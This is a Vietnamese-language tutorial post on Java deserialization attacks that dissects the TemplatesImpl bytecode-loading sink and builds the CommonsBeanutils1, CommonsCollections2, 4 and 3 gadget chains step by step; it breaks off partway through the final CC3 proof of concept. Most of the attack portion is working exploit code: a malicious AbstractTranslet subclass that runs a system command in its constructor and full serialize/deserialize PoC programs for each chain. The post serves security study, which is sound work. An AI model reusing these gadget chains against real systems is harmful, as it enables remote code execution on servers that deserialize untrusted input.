# Java deserialization p1: TemplateImpl class and its utilization chain ## Preface `com.sun.org.apache.xalan.internal.xsltc.trax.TemplateImpl` là một class nằm trong thư viện Apache Xalan có sẵn trong java runtime nhằm phục vụ quá trình transform XML document, tuy nhiên lại bị lợi dụng rất nhiều trong các bộ deserialization gadget chain do có thể thực hiện load bytecode dẫn đến thực thi command tùy ý. Bài viết sẽ phân tích chi tiết class `TemplateImpl` và một vài chain phổ biến sử dụng sink là `TemplateImpl` như bộ CommonsBeanutils hay CommonsCollections 2, 3, 4. ## Load bytecode Trước khi tìm hiểu class `TemplateImpl`, cùng đi qua method `ClassLoader#defineClass` để hiểu cơ chế load bytecode trong java. ### Use ClassLoader#defineClass to load bytecode directly `defineClass` thật ra là một java native method được viết bằng C giúp chuyển đổi byte stream thành một java class hoàn chỉnh trong runtime. Tuy nhiên method `defineClass` có thuộc tính `protected` nên phải tạo một subclass kế thừa nó hoặc dùng đến reflection mới có thể sử dụng trực tiếp: ![](https://hackmd.io/_uploads/Bys4LEXkp.png) Ví dụ, tạo một class `Hello` với default constructor in thông báo hello: ![](https://hackmd.io/_uploads/HJEbO471T.png) Compile class này sau đó thử load bytecode bằng cách dùng reflection: ![](https://hackmd.io/_uploads/Sy3zONQJ6.png) *Thông báo đã được in* **Chú ý**: Khi `defineClass` được gọi, class object sẽ không được khởi tạo mà chỉ khi ta tự gọi đến constructor của nó ( ở đây là `newInstance()` ). Kể cả khi ta đặt initialization code trong static block của class thì vẫn không được thực thi khi definingClass. Vậy nên nếu muốn dùng `defineClass` để thực thi mã bất kì khi load bytecode ==> phải tìm cách gọi được constructor. ### Load bytecode using TemplatesImpl Như đã trình bày, do `ClassLoader#defineClass` không thể truy cập trực tiếp nên trong thực tế khó có thể sử dụng trong exploit chain, tuy nhiên ta có thể sử dụng một attack chain đã rất phổ biến là `TemplateImpl` để load bytecode, tổng quan: ``` TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass() ``` Trong `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl` có inner class `TransletClassLoader` override method `defineClass`: ```java static final class TransletClassLoader extends ClassLoader { private final Map<String,Class> _loadedExternalExtensionFunctions; TransletClassLoader(ClassLoader parent) { super(parent); _loadedExternalExtensionFunctions = null; } TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) { super(parent); _loadedExternalExtensionFunctions = mapEF; } public Class<?> loadClass(String name) throws ClassNotFoundException { Class<?> ret = null; // The _loadedExternalExtensionFunctions will be empty when the // SecurityManager is not set and the FSP is turned off if (_loadedExternalExtensionFunctions != null) { ret = _loadedExternalExtensionFunctions.get(name); } if (ret == null) { ret = super.loadClass(name); } return ret; } /** * Access to final protected superclass member from outer class. */ Class defineClass(final byte[] b) { // NOTE: overridden return defineClass(null, b, 0, b.length); } } ``` Do class này không khai báo scope, scope sẽ là "default" ==> Outer class `TemplatesImpl` có thể truy cập inner class `TransletClassLoader` member. `TemplatesImpl#defineTransletClasses()` là method gọi `TransletClassLoader#defineClass()`: ```java! private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); // NOTE: gọi TransformerFactoryImpl#getExternalExtensionsMap() } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new HashMap<>(); } for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); // NOTE: defineClass load bytecode final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { // NOTE: check superclass _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } ``` Tuy nhiên vẫn là `private`, không thể gọi trực tiếp. Để ý tại đây sau khi defineClass, class được load phải có superclass là `AbstractTranslet`. Tiếp đến `TemplatesImpl#getTransletInstance`: ```java= private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); // NOTE: gọi // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); // ===> NOTE: gọi constructor khởi tạo object translet.postInitialization(); translet.setTemplates(this); translet.setOverrideDefaultParser(_overrideDefaultParser); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } ``` Vẫn `private`, để ý line *10* khởi tạo object gọi `.newInstance()` sau khi `defineClass` --> gọi constructor khởi tạo object. Cuối cùng `newTransformer()`: ```java public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); // NOTE: gọi if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; } ``` Thuộc tính đã là `public`, ta có thể gọi trực tiếp. Đầu tiên, để tạo chain, cần set 3 private properties là `_name`, `_tfactory` và `_bytecodes`: - `_name` chỉ cần khác `null` để gọi được đến `defineTransletClasses()`: ![](https://hackmd.io/_uploads/BJtPcSmyp.png) - `_tfactory` cần là `TransformerFactoryImpl` object do trong `TemplatesImpl#defineTransletClasses()` có gọi đến method `TransformerFactoryImpl#getExternalExtensionsMap()`: ![](https://hackmd.io/_uploads/B1nBorX1a.png) - `_bytecodes` là bytecode để khởi tạo malicious class, class này còn phải là subclass của `com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`: ![](https://hackmd.io/_uploads/HJif2HmJp.png) Ta tạo được malicious class sau: ```java package evil; public class EvilTemplatesImpl extends AbstractTranslet { // implements interface method thuộc interface Translet: public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} // implements abstract method thuộc superclass AbstractTranslet: public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public EvilTemplatesImpl() throws Exception { super(); Runtime.getRuntime().exec(new String[]{"calc"}); } } ``` Để ý có thể thấy có thêm 2 methods `transform()` trong malicious class trên, điều này là cần thiết do trong java, subclass cần implements các abstract methods trong superclass + vì superclass là abstract class nên nó có thể không implements tất cả các interface methods nên nếu subclass của nó không phải abstract thì phải implements các interface methods còn lại. **PoC**: ```java public class Main { private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { // java bytecode class EvilTemplatesImpl Path path = Paths.get("D:\\lab\\java\\CreateClass\\target\\classes\\evil\\EvilTemplatesImpl.class"); byte[] bArr = Files.readAllBytes(path); TemplatesImpl tplsImpl = new TemplatesImpl(); setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr}); setFieldValue(tplsImpl, "_name", "ahihi"); setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl()); tplsImpl.newTransformer(); } } ``` ![](https://hackmd.io/_uploads/SJx_sLQ16.png) ## Utilization chain Phần này sẽ phân tích một số chain sử dụng sink là `TemplatesImpl` ### CommonsBeanutils1 Đã test bản mới nhất: `1.9.3` **Full chain**: ``` PriorityQueue#readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() BeanComparator#compare() PropertyUtils#getProperty TemplatesImpl#getOutputProperties() |TemplatesImpl#newTransformer() |TemplatesImpl#getTransletInstance() |TemplatesImpl#defineTransletClasses() |TransletClassLoader#defineClass() ``` Ta có `TemplatesImpl#getOutputProperties` cũng có thuộc tính `public` và gọi đến `newTransformer()`: ```java public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } } ``` Vậy nếu có chain invoke được getter method `getOutputProperties` => RCE #### PropertyUtils#getProperty Thư viện Apache Commons Beanutils cung cấp nhiều methods để làm việc với các [JavaBeans](https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680) trong java, trong đó có static method `PropertyUtils.getProperty` cho phép người dùng gọi getter method của class JavaBeans bất kỳ, ví dụ: ```java PropertyUtils.getProperty(new Person(), "name"); ``` Thì commons-beanutils sẽ tự động tìm getter method từ name attribute -> `getName` (đơn giản là viết hoa chữ cái đầu xong prefix thêm `get`) và invoke method đó để lấy giá trị trả về. Ngoài ra `PropertyUtils.getProperty` còn hỗ trợ đệ quy, vd object `a` chứa `b`, `b` chứa `c` ==> ```java PropertyUtils.getProperty(a, "b.c"); ``` ==> Nhờ vào method này gọi được getter method của JavaBeans bất kỳ, chỗ nào sử dụng method này nhỉ? #### BeanComparator class Là một class trong commons-beanutils để so sánh liệu 2 JavaBeans có giống nhau, nó implements `java.util.Comparator` interface với method `compare()` gọi đến `PropertyUtils.getProperty`: ```java public int compare(T o1, T o2) { if (this.property == null) { return this.internalCompare(o1, o2); } else { try { Object value1 = PropertyUtils.getProperty(o1, this.property); Object value2 = PropertyUtils.getProperty(o2, this.property); return this.internalCompare(value1, value2); } catch (IllegalAccessException var5) { throw new RuntimeException("IllegalAccessException: " + var5.toString()); } catch (InvocationTargetException var6) { throw new RuntimeException("InvocationTargetException: " + var6.toString()); } catch (NoSuchMethodException var7) { throw new RuntimeException("NoSuchMethodException: " + var7.toString()); } } } ``` Method này nhận 2 objects type generic là 2 tham số, nếu `this.property` là `null` thì so sánh 2 object trực tiếp, nếu không sẽ gọi được `PropertyUtils.getProperty(o, this.property)` từ cả 2 object rồi so sánh giá trị lấy được. Vậy điều còn lại cần làm là làm sao trigger được method `compare()` này. #### PriorityQueue#readObject --> BeanComparator#compare() Phần còn lại của chain, `java.util.PriorityQueue` là class đã có sẵn trong java runtime, có thể sử dụng để gọi từ `readObject()` -> `Object#compare` khá straight forward. Đầu tiên, từ method `readObject()` gọi sang `heapify()`: ```java private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); } ``` `siftDown()`: ```java private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } ``` nếu field `comparator` khác `null` sẽ sử dụng `siftDownUsingComparator()`: ```java private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; } ``` Tại đây `comparator#compare()` sẽ được gọi để compare các object trong property `queue` với nhau. Vậy là đã hoàn thành chain, tạo payload thôi #### PoC ```java package org.example; import java.io.*; import java.lang.reflect.Field; import javassist.ClassPool; import java.util.Base64; import java.util.PriorityQueue; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; public class Main { private static String serTest(Object obj) throws Exception { ByteArrayOutputStream bArr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bArr); oos.writeObject(obj); oos.close(); byte[] bytes = bArr.toByteArray(); return Base64.getEncoder().encodeToString(bytes); } private static void deserTest(String input) throws Exception { byte[] bArr = Base64.getDecoder().decode(input); InputStream is = new ByteArrayInputStream(bArr); ObjectInputStream ois = new ObjectInputStream(is); ois.readObject(); ois.close(); } private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { byte[] bArr = ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode(); TemplatesImpl tplsImpl = new TemplatesImpl(); setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr}); setFieldValue(tplsImpl, "_name", "ahihi"); setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl()); BeanComparator beanComparator = new BeanComparator(); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(beanComparator); // replace later priorityQueue.add(1); priorityQueue.add(1); // size = 2 setFieldValue(beanComparator, "property", "outputProperties"); setFieldValue(priorityQueue, "queue", new Object[]{tplsImpl, tplsImpl}); // test me String serialized = serTest(priorityQueue); deserTest(serialized); } } ``` **Note**: 1. Ta có thể dùng method `add()` để thêm object vào property `queue` class `PriorityQueue`, khi size `queue` > 1, method `add()` sẽ tự gọi đến `compare()` ==> tự RCE máy chính mình nên ở đây mình sẽ set trước 2 value harmless để khởi tạo sau đó mới sửa lại thành `TemplatesImpl` object thông qua reflection. 2. Ở đây mình dùng thêm thư viện `javassist` để tiện lấy bytecode từ class `EvilTemplatesImpl` mà không cần mò đi đọc file compiled class. ![](https://hackmd.io/_uploads/SkGq9lVJT.png) ### CommonsCollections2 **Yêu cầu**: `commons-collections4==4.0` do từ version `4.1` Apache đã patch chain này. Ví dụ `org.apache.commons.collections4.functors.InvokerTransformer` không còn implements `Serializable` làm đứt chain: ![](https://hackmd.io/_uploads/ryiCE9SJ6.png) *4.0* ![](https://hackmd.io/_uploads/HJTR45BJ6.png) *4.1* **Full chain**: ``` PriorityQueue#readObject() | PriorityQueue.heapify() | PriorityQueue.siftDown() | PriorityQueue.siftDownUsingComparator() __| TransformingComparator#compare() InvokerTransformer#transform() Method#invoke() --|TemplatesImpl#newTransformer() |TemplatesImpl#getTransletInstance() |TemplatesImpl#defineTransletClasses() |TransletClassLoader#defineClass() ``` So với CommonsBeanutils1, chain CC2 chỉ khác ở phần cuối source từ `TransformingComparator#compare()`. #### TransformingComparator#compare() && InvokerTransformer#transform() Method `TransformingComparator#compare()` sẽ gọi đến `InvokerTransformer#transform()` với arguments lần lượt là 2 object đang muốn so sánh: ```java public int compare(I obj1, I obj2) { O value1 = this.transformer.transform(obj1); O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); } ``` `InvokerTransformer#transform()` sẽ invoke method bất kỳ từ object `input` với các fields `iMethodName`, `iParamTypes`, `iArgs` dễ dàng set qua constructor của nó: ```java public O transform(Object input) { if (input == null) { return null; } else { try { Class<?> cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var4) { // truncated } } } } ``` Constructor: ![](https://hackmd.io/_uploads/SJhQp_Uk6.png) Do đó ta có thể invoke luôn `TemplatesImpl#newTransformer()` để load bytecode #### PoC ```java public static void main(String[] args) throws Exception { byte[] bArr = ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode(); TemplatesImpl tplsImpl = new TemplatesImpl(); setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr}); setFieldValue(tplsImpl, "_name", "ahihi"); setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl()); InvokerTransformer invTransformer = new InvokerTransformer("newTransformer", null, null); TransformingComparator transComparator = new TransformingComparator(invTransformer); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(transComparator); setFieldValue(priorityQueue, "size", 2); setFieldValue(priorityQueue, "queue", new Object[]{tplsImpl,tplsImpl}); String serialized = serTest(priorityQueue); deserTest(serialized); } ``` **Note**: Ở đây để tránh tự RCE máy chính mình khi dùng method `add()` như chain CommonsBeanutils1 trên, mình dùng reflection để set luôn `size=2` cho tiện. ![](https://hackmd.io/_uploads/HkO2tcr1a.png) ### CommonsCollections4 Yêu cầu: `commons-collections4==4.0` **Full chain**: ``` PriorityQueue#readObject() | PriorityQueue.heapify() | PriorityQueue.siftDown() | PriorityQueue.siftDownUsingComparator() __| TransformingComparator#compare() ChainedTransformer#transform() ConstantTransformer#transform() InstantiateTransformer#transform() TrAXFilter#TrAXFilter() --|TemplatesImpl#newTransformer() |TemplatesImpl#getTransletInstance() |TemplatesImpl#defineTransletClasses() |TransletClassLoader#defineClass() ``` #### TrAXFilter#TrAXFilter() Thư viện apache xalan trong java runtime có class `com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter` với constructor gọi đến `TemplatesImpl#newTransformer()`, điều kiện cần để load bytecode: ```java public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _overrideDefaultParser = _transformer.overrideDefaultParser(); } ``` Tuy nhiên class này không implements interface `Serializable`, điều kiện đủ 😬😬: ![](https://hackmd.io/_uploads/S1i55RHJ6.png) Cùng xem các class trước đó làm được gì và làm cách nào để khởi tạo được class này khi deserialize? #### ChainedTransformer#transform() Như đã phân tích ở CC2, `TransformingComparator#compare()` gọi được đến `Object#transform()`: ```java public int compare(I obj1, I obj2) { O value1 = this.transformer.transform(obj1); O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); } ``` Tuy nhiên khác với CC2, chain này không cần sử dụng `InvokerTransformer#transform()`, thay vào đó là `ChainedTransformer#transform()`: ```java public T transform(T object) { Transformer[] arr$ = this.iTransformers; int len$ = arr$.length; for(int i$ = 0; i$ < len$; ++i$) { Transformer<? super T, ? extends T> iTransformer = arr$[i$]; object = iTransformer.transform(object); } return object; } ``` - Method lấy một array interface `Transformer[]` từ field `iTransformers`, interface `Transformer`: ![](https://hackmd.io/_uploads/SyWXQ9L1T.png) => array này chỉ chứa các objects implements interface `Transformer` - Lặp và lấy từng `iTransformer` trong array này - Mỗi lần lặp sẽ gọi method `transform()` của object `iTransformer` tương ứng với mà argument `object` là kết quả của vòng lặp trước đó, riêng vòng lặp đầu tiên `object` là giá trị ban đầu được pass vào `ChainedTransformer#transform()`. ==> **Ý tưởng**: Tìm các class có method `transform()` và implements interface `Transform` mà kết quả `transform()` trả về: - Class thứ nhất trả về class muốn khởi tạo: `TrAXFilter` - Class thứ hai khởi tạo class object này: ex `TrAXFilter.newInstance()` #### ConstantTransformer#transform() `ConstantTransformer` có method `transform()` trả về field `iConstant`, để ý argument `input` chẳng để làm gì: ```java public O transform(I input) { return this.iConstant; } ``` Field `iConstant` có object type là generic => gán được object bất kỳ: ```java private final O iConstant; ``` Dễ dàng gán `iConstant` qua constructor của class: ```java public ConstantTransformer(O constantToReturn) { this.iConstant = constantToReturn; } ``` #### InstantiateTransformer#transform() Method này sẽ khởi tạo class object từ argument `input` với `iParamTypes` và `iArgs` lần lượt là parameters type và arguments của constructor trong class đó ```java public T transform(Class<? extends T> input) { try { if (input == null) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a null object"); } else { Constructor<? extends T> con = input.getConstructor(this.iParamTypes); return con.newInstance(this.iArgs); } } catch (NoSuchMethodException var3) { // truncated ... } ``` Constructor: ```java public InstantiateTransformer(Class<?>[] paramTypes, Object[] args) { this.iParamTypes = paramTypes != null ? (Class[])paramTypes.clone() : null; this.iArgs = args != null ? (Object[])args.clone() : null; } ``` Vậy là đã đủ 2 class mà `ChainedTransformer#transform()` mong muốn: - lặp 1 `ConstantTransformer#transform(1)` sẽ trả về `TrAXFilter.class` - lặp 2 `InstantiateTransformer#transform(TrAXFilter.class)` gọi `TrAXFilter.newInstance()` ![](https://hackmd.io/_uploads/rykpdqLy6.png) #### TrAXFilter.class Như đã trình bày do class `TrAXFilter` không implements `Serializable` nên không thể sử dụng khi build chain. Tuy nhiên có thể dùng `TrAXFilter.class` là vì `TrAXFilter.class` object trả về `java.lang.Class` cái implements `Serializable`. `TrAXFilter.class` dù không phải là `TrAXFilter` object nhưng là `Class` object chứa các thông tin metadata về class `TrAXFilter` như `name`, `package`, `methods`, `fields`,... mà có thể sử dụng để khởi tạo object trong java reflection. ([here](https://stackoverflow.com/questions/4453349/what-is-the-class-object-java-lang-class)) #### PoC ```java! public static void main(String[] args) throws Exception { byte[] bArr = ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode(); TemplatesImpl tplsImpl = new TemplatesImpl(); setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr}); setFieldValue(tplsImpl, "_name", "ahihi"); setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl()); ConstantTransformer constTransformer = new ConstantTransformer(TrAXFilter.class); // loop 1 trả về TrAXFilter.class InstantiateTransformer insTransformer = new InstantiateTransformer(new Class[]{javax.xml.transform.Templates.class}, new Object[]{tplsImpl}); // loop 2 gọi class TrAXFilter constructor ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ constTransformer, insTransformer }); TransformingComparator transComparator = new TransformingComparator(chainedTransformer); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(transComparator); setFieldValue(priorityQueue, "size", 2); setFieldValue(priorityQueue, "queue", new Object[]{1,1}); String serialized = serTest(priorityQueue); deserTest(serialized); } ``` ![](https://hackmd.io/_uploads/BygbSZL16.png) ### CommonsCollections3 **Yêu cầu**: `3.1` <= `commons-collections` <= `3.2.1` && `jdk7` || `jdk8` < `8u71` (khá cũ) Bài viết dùng: `commons-collections 3.1`, `jdk8u66` Chain này khá giống CC4, khác mỗi phần source gọi đến `ChainedTransformer#transform()` do class `TransformingComparator` tại version này chưa implements `Serializable` nên không thể sử dụng **Full chain**: ``` AnnotationInvocationHandler#readObject() Map(Proxy)#entrySet() AnnotationInvocationHandler#invoke() LazyMap#get() ChainedTransformer#transform() --| ConstantTransformer#transform() | InstantiateTransformer#transform() | TrAXFilter#TrAXFilter() | --|TemplatesImpl#newTransformer() |TemplatesImpl#getTransletInstance() |TemplatesImpl#defineTransletClasses() |TransletClassLoader#defineClass() ``` #### LazyMap#get() && AnnotationInvocationHandler#invoke() `org.apache.commons.collections.map.LazyMap#get()` gọi được `this.factory.transform()`: ```java public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } } ``` Có thể set giá trị này qua static method là `LazyMap#decorate()`: ```java public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = factory; } } ``` `AnnotationInvocationHandler#invoke()` là method gọi đến `LazyMap#get()`: ```java= public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { switch (var4) { case "toString": return this.toStringImpl(); case "hashCode": return this.hashCodeImpl(); case "annotationType": return this.type; default: Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); } return var6; } } } } ``` Gọi `this.memberValues.get()` tại dòng *17* (set `LazyMap` tại đây), pass argument `var4` là 1 String, `var4` về sau sẽ được pass vào argument của [ConstantTransformer#transform()](#ConstantTransformertransform), cái không liên quan đến việc trả về `iConstant` hay `TrAXFilter.class` nên không cần quan tâm. Vậy làm sao để triggers được method `invoke()` này #### Map(Proxy).entrySet() triggers AnnotationInvocationHandler#invoke() Class `AnnotationInvocationHandler` implements interface `InvocationHandler`, là interface dùng trong implements JDK Proxy: ![](https://hackmd.io/_uploads/HJs3ZiUJT.png) Interface này có method `invoke()` khá đặc biệt bởi với class implements interface này method `invoke()` sẽ được tự động gọi bất cứ khi nào ứng dụng gọi một method qua proxy instance được gán invocation handler là class đó, document trong jdk cũng đã miêu tả khá chi tiết: ```java! public interface InvocationHandler { /* Processes a method invocation on a proxy instance and returns the result. This method will be invoked on an invocation handler when a method is invoked on a proxy instance that it is associated with. ... */ public Object invoke(Object proxy, Method method, Object[] args) throws Throwable; } ``` Vậy bây giờ ta cần tạo một lớp Proxy và khai báo invocation handler là class `AnnotationInvocationHandler`, khi method bất kỳ gọi lớp Proxy này => `AnnotationInvocationHandler#invoke()` đóng vai trò là invocation handler sẽ được gọi. Method bất kỳ cụ thể ở đây này là `entrySet()` với field `memberValues` ở line *12* nằm ngay trong method `AnnotationInvocationHandler#readObject()`: ```java= private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); // truncated ... ``` Có thể set field `memberValues` qua constructor của class này, field `type` là có thể là một class interface bất kỳ: ```java AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { this.type = var1; this.memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); } } ``` Để tạo một lớp Proxy trong java runtime, ta có thể tạo Dynamic Proxy sử dụng method sau thuộc `java.lang.reflect.Proxy`: ```java public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) ``` Khá đầy đủ rồi, viết chain thôi #### Chain construction Phần sink giống CC4 mình sẽ không giải thích lại: ```java byte[] bArr = ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode(); TemplatesImpl tplsImpl = new TemplatesImpl(); setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr}); setFieldValue(tplsImpl, "_name", "ahihi"); setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl()); ConstantTransformer constTransformer = new ConstantTransformer(TrAXFilter.class); // loop 1 trả về TrAXFilter.class InstantiateTransformer insTransformer = new InstantiateTransformer(new Class[]{javax.xml.transform.Templates.class}, new Object[]{tplsImpl}); // loop 2 gọi class TrAXFilter constructor ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ constTransformer, insTransformer }); ``` Gán chain `ChainedTransformer` vào field `factory` của `LazyMap`, field `map` gán object `HashMap` rỗng: ```java Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); // invoke qua factory#transform() ``` ![](https://hackmd.io/_uploads/rJQtGyw1p.png) Để khởi tạo `sun.reflect.annotation.AnnotationInvocationHandler`, do constructor có thuộc tính `private/default` nên phải khởi tạo qua reflection: ```java Class aInvocationHandlerCls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aInvocationHandlerConstructor = aInvocationHandlerCls.getDeclaredConstructors()[0]; aInvocationHandlerConstructor.setAccessible(true); ``` Khởi tạo object `AnnotationInvocationHandler` thứ nhất, đóng vai trò là invocation handler của lớp proxy. Set field `memberValues` là `lazyMap`: ```java! InvocationHandler proxyHandler = (InvocationHandler) aInvocationHandlerConstructor.newInstance(Override.class, lazyMap); ``` ![](https://hackmd.io/_uploads/Sy6QMyw16.png) Tạo dynamic proxy với invocation handler vừa tạo ở trên, Proxy này cần có type là `Map` như field `memberValues`: ```java Map proxyMap = (Map) Proxy.newProxyInstance( map.getClass().getClassLoader(), map.getClass().getInterfaces(), proxyHandler ); ``` ![](https://hackmd.io/_uploads/r1Br7yv1p.png) Cuối cùng, set proxy trên vào field `memberValues` của `AnnotationInvocationHandler` object thứ hai, cái sẽ được serialize: ```java InvocationHandler aihObj = (InvocationHandler) aInvocationHandlerConstructor.newInstance(Override.class, proxyMap); ``` ![](https://hackmd.io/_uploads/rkc0QJDya.png) Tổng quan: ![](https://hackmd.io/_uploads/r1a58kPJ6.png) #### PoC ```java public static void main(String[] args) throws Exception { byte[] bArr = ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode(); TemplatesImpl tplsImpl = new TemplatesImpl(); setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr}); setFieldValue(tplsImpl, "_name", "ahihi"); setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl()); ConstantTransformer constTransformer = new ConstantTransformer(TrAXFilter.class); // loop 1 trả về TrAXFilter.class InstantiateTransformer insTransformer = new InstantiateTransformer(new Class[]{javax.xml.transform.Templates.class}, new Object[]{tplsImpl}); // loop 2 gọi class TrAXFilter constructor ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ constTransformer, insTransformer }); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); // factory#transform() Class aInvocationHandlerCls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aInvocationHandlerConstructor = aInvocationHandlerCls.getDeclaredConstructors()[0]; aInvocationHandlerConstructor.setAccessible(true); // Tạo invocation handler cho proxy InvocationHandler proxyHandler = (InvocationHandler) aInvocationHandlerConstructor.newInstance(Override.class, 